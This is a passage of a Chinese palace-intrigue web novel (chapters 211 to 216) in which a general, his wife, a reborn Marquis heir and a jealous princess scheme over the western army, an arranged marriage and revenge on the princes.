果然,姜夜沉心情转瞬明媚,身上的冷意散去,眉色舒展。
徐慧珠懂得哄他。
“叶世子若口甜,叫本将军一声‘姨丈’,本将军看在夫人面子上,也可勉为其难应下。”
“不过?”
第211章:太子的命值几两碎银?
姜夜沉直白地警告道,“叶世子下回递上拜帖。”
“给本将军的夫人写密信,单独邀约,非君子所为。”
“本将军脾气,一向不怎么好。”
叶文瑞:......
传说中的杀神将军,嘴巴又碎又毒。
“听将军话里的意思,是怀疑我爱慕徐慧珠?还是猜测徐慧珠对嫁为将军妇的生活感到失望?”
“我倒是好奇,将军因为身患隐疾不自信?还是从未信任过与将军您朝夕相处的夫人?又或是将军以为女子于男人来说,附属而已,不值得付诸真心?”
即便重生一回,叶文瑞骨子里的执拗没变,他心悦一名女子,不管这名女子是谁?何等身份?是否和他互通情意?
他偏要撞到南墙,才罢休。
“看来,本将军得登门和叶侯爷讨教,叶世子擅挑拨离间之计。若用在战场对付敌人,是好事幸事,可,叶世子却意图用在本将军的后宅,意欲何为?”
气氛僵硬,又透着莫名的尴尬。
徐慧珠无语至极。
她丝毫不用怀疑,两个大男人会当着她的面,吵一顿,打一架。
也未必没有可能。
话题,还得她出面扭转回正事。
“叶世子意在……西疆兵权吧。”徐慧珠一针见血指出。
“只怕早在西疆王重伤消息传开之时,太子和大皇子着急布局,各凭本事争夺西疆兵权。”
“而叶世子你?既有事相求将军,何故饶这么大一圈?”
“还是,叶世子不愿或不敢曝光自己的野心?”
叶文瑞满眼震惊,接着是漫天的欢喜。
他就知道,他这回心悦的女子,聪慧良善,如此不同。
她当真懂他,一眼就看穿他所谋算的将来,不,他们之间……算心意相通吧。
“世人皆知,上官西环和钱无双曾有过婚约,我爱慕凝玉公主成痴,上官将军又身受重伤……”
“若这时,上官将军向皇上请求为我和上官西环赐婚,世家联姻,无关情爱,只为西疆安稳,满朝文武,谁敢反对?”
“不论是太子,还是大皇子,皆竹篮打水一场空。”
叶文瑞神色郑重几分。
“上官将军说,此事若有大将军相助,定能畅通无阻。”
“我以太子性命为投名状,如何?”
“我会好好利用凝玉公主这把刀,捅向太子,一刀毙命。”
叶文瑞有无数理由索要凝玉公主的命,前世叶侯府清誉被践踏,父母惨死,他被当作狗折辱……一桩桩一件件,血海深仇,怎能不报?
“太子的性命?”
“值几两碎银?”
“本将军一点儿也不在意。”
姜夜沉早就想弄死太子,也有能力杀了太子,还不会惹得一身腥,可,他只能动心思,不能动手。
还有大皇子李明远。
因为,太子和大皇子李明远都是皇上的血脉,他万万不能伤皇上的心。
皇上养育他,教导他,他们之间虽无父子之名,却是父子之实,父子亲情。
“可是?”
叶文瑞一时不明其意。
他自以为极有诚意的投名状,双手奉上,却在姜夜沉眼里,一文不值。
“将军心里清楚,太子和大皇子,无论谁登位黄金座,您的下场……”
皇上是明君,他叶文瑞愿和父亲叶侯爷一样,只走忠君爱国这条路。但,太子、大皇子李明远远不及当今皇上。
太子蠢不自知,大皇子李明远阴在内里。
“本将军的下场,好与坏,不劳烦叶世子操心。”
“本将军这一生杀太多人,黄泉路上,并不寂寞。”
“叶侯府枝繁叶茂,叶氏家族一荣俱荣一损俱损,但将军府不同,荣也本将军,衰也本将军,姜氏一族本无人,就算有,本将军从不在意。”
“如今看来,有其父必有其子,叶世子倒是合格的叶氏未来家主。”
叶文瑞不敢看徐慧珠,他心虚又心慌,只得硬着头皮威胁姜夜沉。
他故意为之,一是试探姜夜沉的野心和贪念,二是出于他的私心。
他要让徐慧珠亲眼看着姜夜沉的选择,是权势?还是她?
她对姜夜沉失望,便是他趁虚而入的良机。
可惜,姜夜沉说出口的答案,徐慧珠没失望,他却备受打击。
“所以,叶世子之意,是杀光皇上亲子,然后从皇族旁支挑选一位储君,能力次之,听话首
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要?本将军便学那枭雄曹操来一出‘挟天子以令诸侯’?”
“让叶世子失望了,本将军无欲权力争夺,更无意指点江山。”
姜夜沉目色柔和,说道,“窈窕淑女,君子好逑。”
“叶世子非君子,但这回眼光极好。”
“不过,本将军不妨直白告知叶世子真相:徐慧珠此女,你高攀不上。”
在此之前,没有人发现他对徐慧珠的特别心思,不成想,姜夜沉竟当面揭穿。
“徐慧珠?我……”
“叶世子,你该不是有病,心悦我?”徐慧珠整日嘲讽姜夜沉的朵朵烂桃花,有朝一日,自己也沾染一朵。
也不是说,她身为有夫之妇,不配被旁的男子爱慕。
徐慧珠万分确信叶文瑞重生,但他从前痴缠凝玉公主那些年,不仅没脸没皮,更没德没自尊,如今被他惦记,她不觉欢喜,只觉得莫名的腻慌。
她想不通,自己怎么就入了叶文瑞的眼?
有时候,救命之恩,无需以身相许。
她已经得了十万两银子。
她不贪心,就算贪心,也没兴趣贪叶文瑞。
“我叫叶夫人一声‘锦言姐姐’,便是你的长辈,日后叶世子见我,该叫‘姨母’。”
“仅此而已。”
徐慧珠心想,她说得明了,拒绝得清楚,叶文瑞经历过凝玉公主,他那颗心,不会容易受伤吧。
“余生漫长,徐慧珠。”
又说,“姜夜沉,你若因为我爱慕徐慧珠而公报私仇,我……看不起你。”
皇宫。
君皇殿。
上官褐为叶文瑞表功,皇上龙心大悦,正欲下旨厚赏,叶文瑞噗通跪在地上,高呼,“皇上,臣有罪。”
“臣罪在欺君抗旨......”
空气凝滞。
所有人目光齐刷刷**于叶文瑞。
这人,该不是失心疯了吧。
还是打上官褐的脸?
听说,叶文瑞以救命之恩,求上官褐收他为徒,两人是师徒?还是仇人?
“哦?”
“欺君抗旨?”
“叶文瑞,你倒是实诚,那就说说,你如何欺的君?怎样抗的旨?”
皇上脸色渐冷......
第212章:叶世子这般自黑,必有所图
朝堂上,除了姜夜沉,无人知晓皇上假意冷脸。
叶文瑞在西疆做过什么,自有锦衣卫如实呈报,他既无欺君,也没抗旨。
他这般自黑,必有所图。
姜夜沉手里的剑已架在叶文瑞的肩膀上,“叶文瑞,本将军奉劝你一桩一件交待清楚。”
“若敢隐瞒半句,本将军亲自陪你走一趟锦衣卫刑堂,不知,一百零八套刑法,叶文瑞,你能坚持到第几种?”
叶文瑞何时得罪了姜夜沉?
不,也可能是皇上的圣意。
“呵,姜夜沉,朝堂之上,当着父皇面耍好大的威风。”
“这里是父皇的君皇殿,父皇和朝臣议事的地方,不是你的锦衣卫署,你此等行径,是要当众对一侯府世子刑讯逼供?”
“今日是叶世子,明日可能是皇子忠臣,后日会是谁?”
太子抢占先机出声。
后日会是谁?
太子不如明说姜夜沉终有一日野心膨胀,敢对皇上不敬不忠,也是刻意提醒皇上,纵容姜夜沉放肆,迟早养虎为患,最后被虎咬伤。
姜夜沉还不知道,自己在太子眼里,时而为狗,时而为虎,就是当不得“人”。
“父皇刚还夸赞叶文瑞实诚,也给叶文瑞一次自辩的机会,姜夜沉,你执剑明晃晃威胁叶文瑞,是何意?”
“故意曲解父皇的圣意?还是抗旨?”
太子原本瞧不上叶文瑞,一个舔着脸跟在凝玉公主屁股后面的废物,能有几分本事,待叶侯爷一死,叶侯府落在叶文瑞手里,不出三五年,就败的精光。
谁成想,叶文瑞深受情伤,竟破茧成蝶,废物也能立大功。
叶文瑞这个“准妹夫”,太子有一点点心动,打算认下。
太子心里忍不住埋怨凝玉公主,先是作跑姜夜沉,再是作没叶文瑞......
难得大皇子李明远附和太子,“太子殿下所言极是。”
“本王和父皇一样,难以相信叶世子会做出‘欺君抗旨’的事来,姜夜沉,收起剑,不妨给叶世子一次机会,听听他怎么说。”
大皇子李明远开口就是“叶世子”,给足尊重。太子一口一声“叶文瑞”,尽是不耐。
高下立现。
谁不惦记叶侯爷手里香喷喷的兵权?
姜夜沉神色未动,剑未离半寸。
他何尝不知,太子和大皇子李明远唯有在嫉恨他时,想法出奇一致。对付他时,暂且统一战线。
“叶文瑞,说吧。”
可怜叶侯爷一颗老父亲的心揪成团,恨不能冲过去捂住叶文瑞的嘴,当着皇上和满朝文武的面,“欺君抗旨”这种掉脑袋的话岂能胡说?
同时,叶侯爷禁不住心生疑惑,叶文瑞自去了西疆,如他发誓那般一心扑在建功立业上,没听说他闯什么祸啊。
同样疑惑的还有上官褐,真不愧他倾尽心力教授的徒弟,单凭这胆量,有他年少时的风范。
上官褐稳得住,他倒要瞧瞧叶文瑞这小子唱什么大戏。
叶侯爷和上官褐对视一眼,看到上官褐神色淡定。
上官褐不急,他也不能急。
“皇上,臣有罪。”
“臣在回京的路上,收到皇后娘娘的亲笔信,信上说凝玉公主蒙受委屈,命臣去皇庄探望凝玉公主,命臣以军功求皇上宽恕凝玉公主。”
“臣百般纠结,最后还是绕道去了皇庄,见到凝玉公主……”
“皇上,这便是臣欺君抗旨。”
“臣……不该沉溺在旧情里,身为男儿当志在四方,臣愧对皇上的信任、师父的教导和父亲的期望。”
众人:……
谁能想到,叶文瑞转个身将皇后娘娘出卖的彻底。
就算叶文瑞欺君抗旨,也是皇后娘娘逼迫为之。
凝玉公主缘何去皇庄静养?真相是打着静养的幌子,实则被皇上下旨圈禁。
对百姓来说,是隐秘。
对贵人圈来说,人尽皆知,不宣于口罢了,谁若不知,只能说明他身份不够,权势不及,还没打入真正的贵人阶层。
朝臣心思各异,一时搞不懂叶文瑞此举何意。
这回,皇上的脸色,彻底冷掉。
“皇上,臣愿为凝玉公主奉上军功……”
“求皇上恩准臣……最后一回任性妄为,最后一次为情自私。”
叶文瑞举起三根手指,以命起誓,“求皇上成全。”
“绝无下回。”
“臣当众起誓,今后,不会再对凝玉公主生情。”
叶文瑞究竟
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是在演绎深情无悔的儿郎?还是刻意报复凝玉公主?
不管怎样,叶文瑞对凝玉公主的深情痴情,随着叶文瑞回京,皇后娘娘暗里逼迫叶文瑞以军功为凝玉公主求情……再次成为京城最火热的话题。
人们先是感叹叶文瑞痴情,再是说叶文瑞傻,最后禁不住同情叶文瑞。
叶文瑞对待感情认真纯粹,何错之有?只能怪他遇人不淑,怎么偏就心悦凝玉公主。
唉,叶文瑞好可怜啊。
深陷话题忠心的凝玉公主刚入城门,不顾周嬷嬷劝阻,直奔将军府。
她必须见一面姜夜沉。
哪怕只看几眼,也能解一番相思苦。
凝玉公主想,从前是她太照顾姜夜沉的情绪,才纵的姜夜沉敢一而再再而三践踏她的痴情。
她又后悔了。
禁锢姜夜沉,等她腻了厌了,再狠狠弃之,才是她报复姜夜沉不识好歹的最佳方式。
她偏要出现姜夜沉面前,搅的他不得安宁。
“将军,夫人,凝玉公主来了。”
金夏跑的急,“大福挡不住。”
“凝玉公主说,将军若避而不见,她就砸了将军府大门。”
徐慧珠看向姜夜沉,她从未见识过像凝玉公主这样厉害的狗皮膏药,就跟长在姜夜沉皮肤上的毒瘤似的,没完没了骚扰姜夜沉。
对凝玉公主来说,这世上的男人都死光,只余下姜夜沉一个活人?
不知,姜夜沉烦不烦,徐慧珠烦透了。
“将军?”
“不见。”姜夜沉放下茶盏,“让凝玉公主砸。”
将军府的大门够厚实,凝玉公主得向工部借来利器方能砸开。
“夫人?”金夏有点儿懵。
“听将军的。”
“金夏,你去告诉大福,关上大门,不必理会凝玉公主发疯。”
徐慧珠又吩咐金秋,“去端一壶薄荷凉茶来。”
姜夜沉嘴硬,“徐慧珠,我没生气。”
“你说过,为凝玉公主那样的疯子劳心伤神,不值得。”
书房只有他们,徐慧珠坐到姜夜沉的腿上,双手捧住姜夜沉的脸,说道,“凝玉公主这个烂摊子何不扔给叶文瑞。”
“将军不妨考虑一下叶文瑞的提议……”
第213章:赐婚
“徐慧珠,你为叶文瑞说话?”
姜夜沉还不承认自己在生气,他生气时才会直呼“徐慧珠”。
“徐慧珠,叶文瑞是你什么人?”
“莫忘了,你已是有夫之妇。更莫忘了叶文瑞对你贼心不死,徐慧珠,你想做他长辈,他却想生一出‘郎情妾意’。”
醋味弥漫。
还别说,姜夜沉生气之时冷着一张俊颜,浑身冒冷气,也透着一股别扭的可爱。
他生气吃醋的模样,取悦了她。
“太子若死,黑锅由凝玉公主来背,大皇子李明远也得沾染一身腥……除非?”
“将军心软了?舍不得凝玉公主**?到底是痴爱你多年的美人儿。”
姜夜沉顾忌的人,是对他有养育之恩的皇上,他还怀疑……
半个时辰后,叶文瑞路过将军府,偶遇凝玉公主,一番劝说,又亲自护送凝玉公主回宫。
隔日,姜夜沉向皇上进言,为叶文瑞和上官西环赐婚。
叶文瑞跪谢皇恩,提出五年之约,攻下索罗国,西疆安定,请皇上为他和上官西环证婚。
如此豪言志向,皇上龙心大悦,自是应允。
叶文瑞在宫门处等候姜夜沉,两人还未来得及说话,就被凝玉公主截胡。
“叶文瑞,你眼光忒差了吧,竟要娶上官西环那个男人婆?”
“听说,上官西环力大无穷,脾气火爆,在军营里动不动就和男人打架。叶文瑞,你就不担心,你在床榻上伺候的上官西环不满意,她会打死你。哈哈哈……”
凝玉公主满眼幸灾乐祸,不知为何,她心里极为不舒服,叶文瑞围在她身边,当了多年的忠狗,如今这条狗却认上官西环为主。
她差点脱口而出质问:叶文瑞,你不爱了吗?
“大将军进言,皇上赐婚,上官西环乃巾帼英雄,臣能娶上官西环,是臣高攀,是臣之幸之福。”
“劳烦凝玉公主为臣操心,至于臣能否在床榻上伺候的上官西环满意舒心,待五年后臣和上官西环大婚,凝玉公主可当面问一问上官西环。”
叶文瑞不是习惯凝玉公主的羞辱,而是逼迫自己感官麻木。
凝玉公主只抓住叶文瑞话里的讯息,姜夜沉向皇上进言,促成叶文瑞和上官西环的亲事。
她就知道,姜夜沉心里有她,才会为她着想,出手解决叶文瑞这个麻烦,扫除他们之间的障碍。
“叶文瑞,退下。”
“本宫和姜夜沉有话要说,你一个外人赖在这里,不合适。”
叶文瑞:是他赖?凝玉公主这样的天生坏种,日日行恶,却从未对任何人生出过愧疚情绪。她刚刚言语羞辱,是她的日常。
“姜夜沉?”凝玉公主眼圈发红,不自觉委屈上了。
“昨夜,你没在将军府?还是徐慧珠霸着你,哭着闹着不让你出府见本宫?”
“姜夜沉,你可知……”
凝玉公主这人好生奇怪,不管她和姜夜沉之间这回闹的再难堪,她下回好似遗忘从前种种,又一个劲儿地往姜夜沉身上贴。
昨夜她砸将军府大门,今日就跑到宫门处堵截姜夜沉。
面诉相思情。
“将军?”徐慧珠自马车下来,径直走向姜夜沉,在凝玉公主**的目光注视下,亲昵挽住姜夜沉胳膊。
“我不来接将军,将军是不因公忘私,舍不得回家?”
“将军答应我今日陪我去春风酒楼吃甜皮鸭,可是忘了不成?”
徐慧珠一番矫情,才瞧见凝玉公主。
“臣妾见过凝玉公主。”
“听闻凝玉公主昨夜登门,真真是不凑巧,我和将军安歇了。将军有令,他入眠时,除非皇上宣召,旁人一概不见。将军身患入眠困难症多年,这事,皇上也是知晓的。”
“还请凝玉公主见谅。”
“不知,凝玉公主登门所为何事?”
凝玉公主气到浑身颤栗,眼神死死盯在徐慧珠那双不规矩的贱手上。
**贱手。
贱里贱气。
一个**的妾敢明目张胆当她面撩拨男人?争宠?
偏偏,叶文瑞酸言酸语拱火,“凝玉公主还看不明白?男女情爱就是一只网,您倾心编织的网,却网不住心有所属的大将军,可惜啊,尊贵无双的皇族公主惨输。”
“话本有云,强扭的瓜不甜,凝玉公主不妨看一看别处风景。”
“像臣一样……”
言下之意,他和凝玉公主都属于
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爱上了一个不该爱的人,该惺惺相惜才是。
凝玉公主就知道,叶文瑞还爱着她。
这个废物,留着还能再利用一番。
“闭嘴。”凝玉公主只觉得脑袋嗡嗡响,无数种声音在脑袋里炸开。
“叶文瑞,本宫让你闭嘴啊。”
姜夜沉懒得欣赏凝玉公主发疯,“叶世子这么闲,就送凝玉公主回香凝殿,本将军还要陪夫人去春风酒楼用膳。”
说罢,姜夜沉牵着徐慧珠的手上了马车。
徐慧珠小声嘟囔,“将军,你可知凝玉公主为何砸将军府大门?凝玉公主会赔偿吗?”
“我去内务府问过,将军府一砖一瓦当初由内务府督建采买,再换新的大门得一千两银子,不换也成,就是谁从将军府经过,能看到大门上几个大坑……”
“这等小事,不值夫人忧心。”姜夜沉的声音传入凝玉公主耳中,难得温柔。
“我已命大福将账单送到内务府,成大监会拿着账单请示皇后娘娘商谈赔偿事宜,皇后娘娘深明大义,问清原由后会支付银子的。”
成大监去要银子,便说明此事皇上已知晓,凝玉公主本就理亏,皇后娘娘教女无方,该替女赔银子,还得摁着凝玉公主向姜夜沉道歉。
凝玉公主望着马车离去的方向,一时愣神,“姜夜沉……他……其实很懂温柔。”
这时,周嬷嬷来禀,“公主殿下,皇后娘娘找您。”
“催什么催,本宫要先沐浴更衣,再向母后请安。”
凝玉公主昨夜入宫,哪顾得上见皇后娘娘,忙活着惩罚宫人、摔一地瓷器,折腾到天明,又急匆匆跑到宫门处堵截姜夜沉。
周嬷嬷好一阵心累,她奉皇后娘娘懿旨伺候、规劝凝玉公主。
可,凝玉公主暴躁又油盐不进的性情,她一张老嘴说破皮,也无半点效用。
劝不动,还是保住老命要紧。
周嬷嬷不止一回生出念头,若她倒霉生出凝玉公主这样的女儿,干脆远嫁,生死不再相见。也不知皇后娘娘怎么想的,先前仓国国君有意结亲,皇后娘娘却大发雷霆,忽然又舍不得凝玉公主了。
“公主殿下?”
“皇后娘娘......”
第214章:京郊别院的一窝美男子
凝玉公主冷哼一声,转身离开。
她正烦心着,听不进去周嬷嬷这个老货絮叨。
周嬷嬷该庆幸她是皇后娘娘身边的老人儿,凝玉公主到底顾忌一二,不然,以周嬷嬷话多,早就杖毙上位下场。
周嬷嬷看到叶文瑞,老脸一喜,“叶世子也在啊。”
“皇后娘娘请叶世子叙话。”
自皇上下旨禁足皇后娘娘,宫权一大半落入厉贵妃手中,朝堂上的消息传入君后殿,比从前滞后些。
倒不是暮歌这个太子妃不中用,暮歌的精力一半放在处置宫务,一半还得侍奉阴晴不定的皇后娘娘,忙的暮歌身心疲惫,索性搬到君后殿偏殿住下。
叶文瑞刚入君后殿,皇后娘娘正巧训斥暮歌。
“本世子好心奉劝周嬷嬷还是等上一等,待皇后娘娘和太子妃说完正事,再入殿禀报。”
“本世子……不急。”
周嬷嬷止步,她深知皇后娘娘的性情,动怒之下,她这条老命不死也得脱层皮。
皇后娘娘和凝玉公主这一对母女,实在难伺候。
“叶世子说得极是。”
殿内。
皇后娘娘手指快戳到暮歌脑门上,“暮歌,你是怎么办事的?”
“你明知道昨夜凝玉回宫,为何不亲自去皇庄接?”
皇后娘娘甩出一张账单,上面记录得细致,修复将军府大门得花费多少时间、人工和材料,换一个新门的代价。
“你看看,凝玉砸坏将军府的大门,内务府都敢替姜夜沉来要账了。”
暮歌捡起账单,看过之后递给阿喜,柔声劝说,“母后息怒,保重身体要紧。”
“儿媳以为此事当大事化小,万不能影响到凝玉公主的名声。”
皇后娘娘嘴角下意识抽了抽,凝玉公主的名声?
呵,凝玉公主作天作地,她还有名声吗?
“母后安心,这一千两银子儿媳愿替凝玉公主赔偿。”
“儿媳明日走一趟将军府,同徐夫人好生说道,此事了结,不再提说。”
“对外就说,一场误会。”
皇后娘娘倒不缺那一千两银子,但暮歌温顺的态度,又处处维护凝玉公主,皇后娘娘憋在心里的怒气消散一两分,再看暮歌也顺眼两三分。
“哼,算你还有点儿良心。”
皇后娘娘以高高在上的姿态,训斥暮歌,将凝玉公主砸将军府大门一时归错于暮歌没亲自去皇庄接人。
接着,皇后娘娘说到宫务,张口就是质问,“厉贵妃仗着手里有点儿权力,膨胀到忘记自己的卑贱身份,频繁使下作手段,换个好几处管事。”
“暮歌,你也太无能了些,连厉贵妃那个老女人都斗不过。”
“暮歌,本宫对你太失望了。”
暮歌心里冷笑,皇后娘娘同厉贵妃争权夺宠二十多年,她一个败将,也好意思说别人。
“母后教训的是。”
“厉贵妃阴险狡诈,儿媳哪是厉贵妃的对手,万幸有母后站在儿媳背后撑腰,厉贵妃才不敢太过放肆。”
“儿媳都听母后的,母后说怎么做,儿媳就怎么做。”
皇后娘娘阴郁的心情,又明亮了一点点。
“马屁精。”
凝玉公主经过暮歌身旁之时,故意撞了暮歌一下。
“眼瞎啊,敢挡本宫的路。”
皇后娘娘冷眼旁观,凝玉公主心情不美骂几句。
也是暮歌该骂。
暮歌压下心里的凉意,即便她百般讨好皇后娘娘是在演戏,但皇后娘娘对她更无情意真心。
“母后,您和凝玉公主说话,儿媳告退。”
凝玉公主故意挡住,她心情不爽,总得找个人宣泄火气吧。
暮歌这个**正合适。
“**,本宫让你走了吗?”
“凝玉,暮歌是你皇嫂,你一口一声‘**’,成何体统。”
皇后娘娘微皱眉头,倒不是她心疼暮歌,而是觉得凝玉公主骂暮歌“**”,岂不是连着太子一同骂了去。
不管怎么说,暮歌暂且占着太子妃名分。
凝玉心里更气,“钱暮歌,听说太子皇兄至今未碰你?”
“也是,你和大皇子李明远早就不清不楚的,太子皇兄嫌你脏。”
“本宫要是你啊,干脆一头撞死在东宫小佛堂的佛像前,一**之。”
“钱暮歌,就你这样不贞不洁的低贱女人,怎配当东宫太子妃?哼!”
凝玉公主本就极其厌恶暮歌,又听说暮歌和
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徐慧珠私下交好,这让她如何能忍。
眼见凝玉公主越说越过分,而暮歌还有些用处,皇后娘娘正欲开口训斥凝玉公主几句,暮歌噗通跪在地上,哭喊道,“母后,求您赐死儿媳吧。”
“钱暮歌,你**呀。”凝玉公主眼露鄙夷,“反正太子皇兄也不在意,死一个太子妃和死两个三个太子妃,没什么不同。”
“凝玉,休得胡言。”皇后娘娘这回真的动怒。
陈沅沅的死是禁忌,是太子犯下的大错之一,皇后娘娘恨不得所有知情人遗忘。
“凝玉公主,我不知哪里做得不够好,导致您这般厌恶我,您告诉我,我改到您满意,行吗?”
“可,凝玉公主您说我不贞不洁,恕我万万不能认下。”
“大婚前,嬷嬷检查过我的身子,是干净贞洁之身。这一点,凝玉公主您是知晓内情的啊,我实在不懂,您为何空口白牙诬陷于我?”
暮歌声泪俱下,满眼殷切地望着皇后娘娘。
其实,暮歌心里想骂回去:说起不贞不洁、私德败坏,谁能比得过凝玉公主?凝玉公主应该抽空去一趟京郊别院,数一数她娇养多少美男子。
一窝美男子。
凝玉公主自以为行事隐蔽,殊不知,这京城贵人圈里,秘密藏不深,也藏不住。
“凝玉,管住你口无遮拦的毛病。”皇后娘娘加重语气,“暮歌是太子的太子妃,一言一行代表的是太子的脸面和体面。”
可惜,皇后娘娘的话,入了凝玉公主耳,却进不得凝玉公主心。
许是皇后娘娘撑腰,暮歌胆量渐长。
“太子殿下不愿碰我,可能是我的容貌和性情不讨太子殿下欢心,但我相信,经过朝夕相处,我有信心捂热太子殿下的心。”
“我私心觉认为,我已嫁给太子殿下,该做的是:孝顺父皇母后,听母后教诲,处理宫务,解母后之忧,事事以太子殿下为先,妥帖照顾凝玉公主您......因为,我们才是一家人啊。”
凝玉公主不屑,但皇后娘娘十分满意。
暮歌就是她驯化的杰作,也是她手里最忠诚的棋子。
“凝玉,去扶暮歌起身。”
“哼,她也配?”
第215章:温顺如猫,恭敬如奴
皇后娘娘看着凝玉公主,气到无力。
“暮歌,好孩子,去煮茶吧。”
皇后娘娘心无愧疚地下达命令,堂堂太子妃在她眼里,就是一个低贱宫女。
“是,母后。”
暮歌起身,走到一旁的茶桌,熟练地煮茶。
凝玉公主撇撇嘴,嘟囔一句,“**贱样。”
暮歌身形一顿,装作没有听见,继续手下动作。
皇后娘娘倒是听的清楚,却不在意。
因为她心里也认同凝玉公主骂得对,他们虐暮歌千百遍,暮歌依然温顺如猫,恭敬如奴。
也是,暮歌虽是钱家贵女,却身份不高,只怕连她自己也没想到,这一生有如此机遇,挨一顿打却换来太子妃的位置,她做梦也会时常笑醒吧。
若是传出去,京城贵女怕是会排长队,求太子贵手狠狠落在自己身上,以换取权势富贵。
被凝玉公主这一搅和,皇后娘娘险些忘记正事。
皇上突然下旨,为叶文瑞和上官西环赐婚,又听说叶文瑞当朝提出,以五年为期,再行婚礼。
皇后娘娘一番脑补,认为叶文瑞心里还痴爱着凝玉,又不能明着欺君抗旨,便想到“五年之期”的妙计。
五年光景里,会发生太多事情。
比如,待叶文瑞利用完上官西环,完全控制西疆军,到那时她再出手帮叶文瑞悄无声息处理掉上官西环这个麻烦。
人都**,婚约还如何继续。
叶文瑞还是凝玉公主的驸马,西疆兵权亦是太子的囊中之物。
想到这里,皇后娘娘再看凝玉公主,顺眼几分,容忍新添几分。
“凝玉,叶文瑞难得回京,你去……”
凝玉公主没想到父皇都给叶文瑞和上官西环赐婚了,母后还不死心,将她往叶文瑞怀里推。
让她去勾引叶文瑞?
上赶着当叶文瑞的妾?
叶文瑞说得对,母后眼里心里只有太子这一个孩子,母后生她养她,不过是一个为太子前程铺路的工具。
母后明知道,她爱的人是姜夜沉,她有多想得到姜夜沉。
“母后?”
凝玉公主打断道,“母后若帮我弄死徐慧珠,再把姜夜沉绑到我的京郊别院,与我共度良宵一回,我就听您的话,如您的愿,去勾引叶文瑞,助太子哥哥拿到西疆兵权。”
正在煮茶的暮歌手一抖,滚烫的茶水滴落在手指上,她还是一次次低估了凝玉公主的疯癫。
“凝玉,你?”皇后娘娘叹了一口气,“姜夜沉不能人道,凝玉,你何苦折腾?”
“母后多余操心。”凝玉公主神色狰狞,平白破坏美色。
“我已寻到十多种媚药,都喂给姜夜沉吃,我不信,他身子会毫无反应。”
“不试试,怎么知道效果。”
“我好期待。”
皇后娘娘只感觉一阵寒意袭遍全身,“凝玉,你……疯了。”
凝玉公主冷笑道,“我疯了?”
“是,我是疯了,那也是被母后和太子哥哥合谋逼疯的。母后不顾母女亲情卖女儿,太子哥哥不顾兄妹亲情卖妹妹,我能不疯?哈哈哈……”
……
殿外。
周嬷嬷冷汗浸湿里衣,她偷偷观望叶文瑞,这人怎么回事,神色淡然,无动于衷?好似浑不在意皇后娘娘和凝玉公主这一对母女堂而皇之的算计。
更可怕的是皇后娘娘和凝玉公主,她们根本没把叶文瑞……当人。
“周嬷嬷?”叶文瑞终于开口。
周嬷嬷吓得一个激灵,理智回归,“老奴……老奴在,叶世子您有何吩咐?”
“劳烦周嬷嬷入殿通传。”
周嬷嬷身子一颤,不知,是不是她的错觉,叶文瑞脸上那抹淡淡的笑容,透着阴森的寒意,像极阴曹地府来索命的黑白无常。
许是站得太久,周嬷嬷腿脚酥麻,走路姿势有些滑稽。
“皇后娘娘,叶世子求见。”
“叶世子在殿外候了一个时辰。”
皇后娘娘差点没端稳茶盏,“一……一个时辰,周嬷嬷,你为何不禀报?”
“母后不必大惊小怪,是我让叶文瑞站在殿外等的。”
“一条贱狗罢了。”
“说话不用避讳着他。”
凝玉公主能说出这番狂妄的话,可以想象,叶文瑞一心想当驸马那些年,自甘**到何等地步。
也是,凝玉公主命他玷污徐慧珠,他照做,一次未成功,又行第二回
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曾经的他,为了取悦凝玉公主,连畜生都当。
如今的叶文瑞,不能直视往昔的自己。
一想到徐慧珠和姜夜沉此刻在春风酒楼享受佳肴,叶文瑞突然觉得腹中饥饿,他也想同去,抢半只甜皮鸭。
气死姜夜沉。
被他们“惦记”的徐慧珠和姜夜沉的确去了春风酒楼用膳,徐慧珠是故意气凝玉公主,但也没说谎。
甜皮鸭是徐慧珠在看一本杂记时突然想到的菜,甚是奇怪的是,甜皮鸭的做法一条一条出现在脑袋里,仿佛本就存在于她的脑中,需要一个契机。
她不知道的是,甜皮鸭制作方子是属于她第二世的记忆碎片。
她侍奉那个高贵阴毒的男人,拼了命讨好他,杀了很多人,才有站在他身旁,日夜相伴的机会。
那个男人私下嗜甜,她在厨房忙活半月,终于做成甜皮鸭,他尝了一口,明明眉色满意,却言语恶毒,践踏她的真心。
他说,“本王闻到一股恶心的血腥味。”
“徐慧珠,你一双**的脏手,不配为本王做甜皮鸭,唯有这次,下回自剁双手。”
“滚去暗房,跪足两个时辰。”
清甜在口中弥漫,支离破碎的记忆正一点一点自行拼凑,直到那个男人的脸渐渐清晰。
“金夏,去叫管事来。”
东家召唤,管事一路小跑来雅间。
管事极有眼色,行礼后,恭敬问道,“夫人有何吩咐?”
“日后大皇子府来春风酒楼采买,所有吃食另加五分糖。”徐慧珠夹起一片鸭肉,蘸了白糖,“今日也送一份甜皮鸭去大皇子府。”
管事看了一眼姜夜沉,赶忙答道,“是,夫人,奴才亲自送去大皇子府,保管办得妥帖。”
管事离去。
姜夜沉才问,“夫人要对付大皇子殿下?”
其实,姜夜沉差点脱口而出,“夫人怎会知晓大皇子李明远的隐秘嗜好?”
大皇子李明远心思敏感,行事谨慎,表露的种种不过是为迷惑外人,真正的大皇子李明远,也是个彻头彻尾的疯子。
“不是对付。”
“我要大皇子李明远死。”
“将军可愿成全我?”
第216章:夫人可有**妙计?
在姜夜沉面前,徐慧珠不用遮掩心思,何况她要复仇的对象乃天潢贵胄,她需要借助姜夜沉的权势。
唯有姜夜沉对上大皇子李明远,方有胜算,她藏匿在姜夜沉身后,于关键时刻,给大皇子李明远致命一刀。
姜夜沉眼里的惊讶一闪而过,嘴上更实诚,“为夫心甘情愿。”
“夫人可有**妙计?”
一顿饭功夫,两人已制定出略显完美的**计划。
尽管姜夜沉心有疑惑,他们来春风酒楼品一道甜皮鸭,观徐慧珠神色,好似想起痛苦的事情。
大皇子李明远是她的仇人?
她和大皇子李明远何时有过交集?
她不说,他不能问。
徐慧珠吩咐的事情,管事亲自督办,他提着食盒去了大皇子府,正巧赶趟大皇子李明远在用膳。
一道厚加糖浆的甜皮鸭轻松俘获大皇子李明远的心,也让他心生警惕,他吃过春风酒楼的甜皮鸭,略有不同。
春风酒楼是京城最大的酒楼,日常接待达官贵人,厨师绝不可能手抖放多了糖。
若不是,那就说明有人刻意为之。
是谁?
竟知晓他的嗜好。
大皇子李明远亲自打赏管事,不动声色套话。
贵**方,打赏十两银子,管事捏着银元宝,胖脸笑成弥勒佛,哪会隐瞒,如实禀告。
“是一位夫人……”
大皇子李明远不知想到谁,手里的茶盏掉落在地,碎成片。
……
徐慧珠从春风酒楼归府,当晚就莫名其妙病倒。
